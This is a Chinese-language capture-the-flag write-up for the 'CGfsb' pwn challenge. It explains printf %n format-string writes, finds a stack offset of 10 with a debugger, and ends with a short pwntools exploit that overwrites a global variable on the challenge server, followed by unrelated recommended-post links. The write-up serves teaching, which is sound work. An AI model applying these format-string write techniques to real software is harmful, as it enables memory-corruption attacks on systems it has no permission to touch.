这里补充一下%n是代表向参数赋值打印的字符个数

例如printf("AAAA%n",&a);

代表的是向a写入4

printf("AAAA%1n", &argu1)

代表的是将打印字符的个数值写入参数1中.

printf("AAAA%2$n", &argu1, &argu2, &argu3......)

使用'$'符号来进行参数的选择

代表的是将打印字符的个数写入参数2对应的地址内存中.

来看一点实际的吧:

a储存的时b的一个地址,将打印个数写入到第二个参数对应指向的内存中

实现了.

在堆栈中.printf中格式化字符窜'%p'  会打印第一个参数对应的值

可以使用%p来计算偏移.   这里对于新手可能不太直观,我就使用edb调试给大家看

咱们来看一下题:

检查一下保护

使用ida打开分析:

逻辑是,怎样使用pwnme = 8即可.

找到pwnme的地址

记录一下地址,开始使用edb调试分析.按F9直接进入main函数

输入一些%p打印第一个参数的内容,找偏移

跟进printf中:

打印出

打印的值为第一个参数和第二第三参数的值,查看堆栈窗口.找一下偏移

从ff83b2de到44434241有9偏移,而个数是从1计数的所以偏移为10.

在这里,我们只需想法设法把ff83b2e8里对应的值该为目标对应修改地址,然而第二次输入时直接输入即可     p32(pwnme addr)

然后再调一下打印个数即可修改对目标pwnme值进行修改

即payload = p32(pwnme addr) + '%10$'

有人可能会问,为啥把地址写在前面,因为输入的地方就离printf第一个参数偏移位10的地方,地址就直接写在那就行了,其实你也可以写在后面,那得重新计算偏移即可

重新调试:输入偏移为10

直接运行结束,因为0x44434241地址不可写入

我们将该值在堆栈里修改一下,为0x 0804a068

运行一下:

成功将pwnme值修改为4

好开始利用漏洞,exp

#! bin/python

from pwn import *
sh = process("./CGfsb")
sh = remote("111.198.29.45",36339)
sh.recvuntil("please tell me your name:\n")
payload = 'Logan'
sh.sendline(payload)

sh.recvuntil("leave your message please:\n")
addr = 0x0804A068 # addr of pwnme
payload = p32(addr) +'AAAA'+ '%10$n'  
sh.sendline(payload)
sh.interactive()

#sh.close()

可能有人会问,为啥要填充4个A?  因为p32(addr)占4个字节,若想让pwnme等于8,那还差4个字节,随便填充4个字节就好了

CGfsb的更多相关文章

  1. day-4 xctf-pwn CGfsb

    xctf-pwn CGfsb 传送门:https://adworld.xctf.org.cn/task/answer?type=pwn&number=2&grade=0&id= ...

  2. 攻防世界 | CGfsb

    所以题目要求是输入生日1926l

  3. 攻防世界pwn之新手区

    涉及的工具有 Ubuntu 16.04 pwntools IDA gdb-peda 1.get_shell 连接就给flag,可以直接用nc连接,然后输入ls查看里面的目录,发现有名字叫flag文件, ...

  4. 攻防世界新手区pwn writeup

    CGfsb 题目地址:https://adworld.xctf.org.cn/task/answer?type=pwn&number=2&grade=0&id=5050 下载文 ...

  5. 【pwn】攻防世界 pwn新手区wp

    [pwn]攻防世界 pwn新手区wp 前言 这几天恶补pwn的各种知识点,然后看了看攻防世界的pwn新手区没有堆题(堆才刚刚开始看),所以就花了一晚上的时间把新手区的10题给写完了. 1.get_sh ...

随机推荐

  1. PHP 设计模式总结

    回想了一下php的设计模式,好像记得不完全了.此处对php设计模式重新做一下复习总结. 单例模式 单例模式的核心只包括一个特殊的类,保证系统中只能有一个实例,即一个类中只能有一个实例化对象,避免系统中 ...

  2. ORACLE异机增量备份恢复

    PROD异机增量备份恢复验证实施文档 准备工作:source 源库:PROD数据库备份策略:周日0级RMAN备份,周一至周六1级差异增量备份0 4 * * 0 /data/rmanlev0.sh &g ...

  3. 在Linux环境中运行python 项目

    1首先创建一个虚拟环境或者在一个已有的虚拟环境中创建一个django项目 1.1 创建一个虚拟环境: mkvirtualenv my_django115 这会在 ~/Envs 中创建 my_djang ...

  4. 自定义控件 - 切换开关:SwitchView

    自定义控件一般的几个步骤:1.初始化相关背景图片,布局文件,自定义属性2.设置控件宽高OnMeasure()3.布局或者排版OnLayout()4.绘制控件OnDraw()5.处理触摸事件OnTouc ...

  5. Redis安装启动,Redis Desktop Manager安装

    Window 下安装下载地址:https://github.com/MSOpenTech/redis/releases.Redis 支持 32 位和 64 位.这个需要根据你系统平台的实际情况选择,这 ...

  6. 如何吸引用户打开自己发送的EDM邮件

    一般来说,邮件发送到用户的收件箱,但用户不一定会阅读.因为每个用户收到的邮件都很多.那么,究竟应该如何吸引读者打开自己的EDM邮件呢? 只有当用户认识并信任发件人的时候,此时邮件的打开率是最高的,可以 ...

  7. Matplotlib字体大小设置

    参考:https://blog.csdn.net/henkekao/article/details/72871882 ax = plt.subplot(111) # 设置刻度字体大小 plt.xtic ...

  8. 如何在idea中查看jar包源码

    文章目录 准备jar包 idea打开文件夹 最后一步 准备jar包 例如,我准备看resin的jar,在桌面准备了一份 idea打开文件夹 在idea中file====>open=====> ...

  9. protel封装总结(新手必看)

    零件封装是指实际零件焊接到电路板时所指示的外观和焊点的位置.是纯粹的空间概念.因此不同的元件可共用同一零件封装,同种元件也可有不同的零件封装.像电阻,有传统的针插式,这种元件体积较大,电路板必须钻孔才 ...

  10. Pycharm 修改项目名称后 中括号中出现先前名称怎么解决?

    这时候,你打开工程的路径,会找到一个隐藏文件, .idea  目录删掉他,重新导入Pycharm 就行了. idea记录了一些工程项目信息. 步骤: 1.退出当前工程 2.打开工程路径删除.ideal ...